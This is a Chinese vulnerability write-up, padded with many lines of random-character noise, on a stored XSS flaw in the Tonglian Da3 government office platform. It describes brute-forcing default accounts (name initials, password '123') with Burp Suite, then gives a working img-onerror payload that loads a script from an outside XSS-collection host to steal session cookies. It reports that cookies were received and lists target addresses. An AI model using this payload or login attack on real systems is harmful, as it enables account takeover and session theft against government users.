, [1 ]: l( D# U* Y! i
( X p: w$ ~4 [/ J4 o 同联Da3协同办公平台后台通用储存型xss漏洞, x. A5 J2 q) x$ ^
0 X! `, |4 j3 X7 V* o) r! L; t6 D
# @3 L% t1 X# s: E0 p 平台简介:
5 O: W; a6 O! j- q8 Y
! N; e; v7 c0 A% d2 `! h ?% t
8 |1 y4 s! F! L4 K1 Y, o/ _
/ I5 r) u4 n! `
; a" ?3 Z4 n! s7 F0 E9 C+ I: A
6 A5 M, _! N5 S; u! C- \6 h: O 北京同联信息技术有限公司(以下简称同联)由用友政务与用友原行业事业部团队合伙出资成立。同联以“为全国各级政府单位提供信息化咨询规划、建设解决方案和信息化运维服务,以加强各级政府的精细化、智能化管理,形成高效、敏捷、便民的新型政府。”为使命,致力于为各级政府单位提供专业、标准、灵活、易用的信息化产品及专业的服务。
( ]0 [/ J% U& H同联面向政府单位提供专业、标准、灵活、易用的信息化产品。针对各级政府单位,分别提供以“移动政务办公”为主的Da3系列管理软件;针对政法单位提供以“协同办案”为核心的政法协同办案系统等。
( _4 t* R( D Y5 r. N f3 u同联本着“协作、专业、创新”的工作方针,为推动各级政府单位信息化、促进各级政府快速转型为 “智慧型政府”做出积极贡献!
* t9 o0 R, V, d# }% |# G
/ [: |7 d3 P* H8 J
: z( z7 r K+ {) o" X; } / l' _; B- r. S/ A! Y5 q/ ~
5 O& _( G, N1 R( ^
' o% V/ f; c6 T. f# _
由于此程序为新开发的程序,故能找到的案例并不多,下面附案例地址:9 x6 v$ l- ~, \9 ]' U2 e0 o
+ J7 g, k& e$ w1 i* B) j
R8 A/ b6 q- j' m7 }% @/ C5 i+ @, @
1 X6 z; G) P& W0 }& u7 ?
, m& I, }! l) s
9 G# h; W9 T7 |. `
http://1.1.1.1:7197/cap-aco/#(案例2-)6 Q( a: B5 F7 K) H2 X, U
2 @, l1 m3 ~6 x& c% }
! y4 q& c" S( M* {. Q% r8 _6 ? http://www.XXOO.com (案例1-官网网站)- T" }2 c/ z1 z) j6 A
& S# t7 Q8 b3 R7 {
8 }& A4 b2 W% j9 M9 O) D 漏洞详情:: M8 g: |5 G& y5 B
" E; [2 b" o' _+ b: y: T# V- A' y4 l4 d
& i4 ^! f4 W& z' n1 y 案例一、& J q: c5 e! E! F8 N
) o/ j% ]+ y/ q! ~
6 N4 o1 o' [ \2 \
初步确定平台的默认账号为姓名的首字母小写,初始密码为123,为了能够更好的模拟入侵,使用黑盒测试手段进行测试
0 S! D1 E3 T* Z: o
4 ^6 b( K: s2 R
% k F- Y0 H6 ^! y5 D& f0 d 首先使用burpsuite代理,然后再用黑客字典生成一个全英文小写的3位字典,利用burpsuite进行暴力破解,破解结果如图:, `9 R% Y( T. r
' n0 t% e, u0 {2 j$ A) q" S& O. T
" l; y1 C2 r" F1 R2 M% F0 W- ? ( R/ y6 K1 j% b( L$ p! j" n
( O y, u$ d+ ?) ?. v; \0 V * W" I+ k4 t/ I
$ Q7 Z6 E% n: z4 M) g/ ]8 n6 |
; ~; ?! N# G2 I" q; Z
7 u- ?; [% l/ Z1 w& T8 z& J status为302即表示破解成功,然后找个破解成功的账号登录系统。然后在通知公告---通知公告发布-拟稿处存在储存型xss漏洞,我在编机器里填写好标题、选择人员,点html如图: 5 F9 @8 k5 n- j& E
/ Q% y4 z% `9 c+ B& ?" Y& m/ E# e
5 K# _0 z) U8 t9 a
2 a& d0 p5 J1 q- \
5 S- |9 k$ W( t
( g8 _, m7 h3 s& V* ?3 n
& s9 \' }/ d7 d) V
6 ?; H' s* z4 E ?) c. l$ @
( }5 ~0 y# M. e5 U) S, L 然后插我们的xss跨站代码(经过测试发现过滤了好多标签,比如script,没过滤img、iframe标签),这里我们用img标签来测试,payload如下
( g+ B8 X6 f& n# ?2 K5 ^
, n* h5 U- k0 h* Y k/ O
: E+ `; v6 s- O ) X! n" G8 M! `) C* q5 L9 B
) V0 U0 W! v+ J1 V% t5 e
& C" C3 h+ Y% ?+ e/ X7 X+ _) T" \ <img src=x
5 G8 g- u* S% S/ Z2 ?onerror=s=createElement('\x73cript');body.appendChild(s);s.src='http://xss.6kb.org/7OO7GQ?1510065652';>,如图: 5 n; X9 @) w/ `: c0 V% f
7 G& d: g; N! t" b
/ X: ?* @. b# s
N* }$ Z$ q' I' C* N# A
! K! R4 _4 O6 \' ], d0 _$ a% L 7 Z% a. j# W3 m6 L0 l$ ^. a$ L" U
然后发送,接收cookie如图: - L, H2 W3 O! B( j) L+ T
0 \! h8 ~$ K v9 I8 P- j ( O @. z: F: m2 B$ Y1 R+ P7 X
1 W+ D" a5 H G8 @7 F2 G6 x3 ~
" g' V+ {' N; x q" d' o1 [
) e Y, p0 L" X2 P6 W, x
& A* P; c# q5 u4 l& `. }: O/ {) e
* I8 E0 N# j! R3 y' w: h4 M- w. `9 v
8 Y$ C" ]: q; v# B
* p& L8 v6 N+ f& Y
# l5 p: }- _6 }+ c" ~
7 k: b* B/ ~: Q3 e) m5 o
- [; h; [! x( l6 J- r
& c; i G8 @9 @" G* e
5 [: [! u; ]" A+ _; t& D; c, W
0 z! P' V, I. M% H* s& v
" _) n+ I9 J9 R% p9 @7 y 1 M# j0 I) g( C# R
1 _( N- K6 }2 u6 ?7 R N
7 i8 D* }' R" r6 \
: J! t( Y ~/ ^* u9 s
+ y& q( i, d# C1 M
! ?. h$ H8 I; d* C* f1 r
& D+ \+ k3 B! E* D; n( ?4 `8 b
案例2、
# ?$ {) j( _ ~5 w( [2 O
. g/ f! p$ n8 L: C9 @
6 T% ]# V c8 W' G
前面步骤都一样,下面看效果图:
8 |# d, R" F2 x- W+ m) g
: ^- l8 A9 L7 l; j& @! A- b% O
}2 [9 t- l- k, [: H4 d
6 Y7 F1 O8 b6 q( g
6 Q. u/ ]' M9 P! j6 h& b \; [
! `, k9 c/ E% @4 |* d: p0 E
' x6 J+ ?& I! T$ [, ]& G+ i/ R# u8 c! i
3 Q% a N4 T/ G, e0 Z# \8 Q( r
6 G" Z7 O' s) D7 Z ! c8 E; \' b$ G* m
7 \ {& ]" G+ M. g- z9 ~; e0 Y
" W- }0 G1 X+ ~+ I. m 5 ]( b G# I7 o0 x" M
* H$ X" s$ [4 d$ n, X- M1 c ' j8 E7 D% w. u& N
4 p) r! E& t) I# t4 ~
8 d* H& A( W- e- z: [( e! @ 3 v6 R) c& w/ ~6 P
3 g( j a% R) L; t p% S4 o2 ]
) P A4 y% F5 K- \
- a! ~* r- Q r: R) v
* m8 V9 E! \9 o. e$ L
* L u6 i" d7 X4 y* l" S7 b % I& i+ c. \0 d/ c: } ?% a
2 G! \7 B' G* M* W' }4 ?
/ W4 f) E3 S C0 A& _- C
- [4 y6 q5 \. M: T 9 u# \. J' Y8 g. F! H# ~ x/ J
3 P1 S3 t' z5 J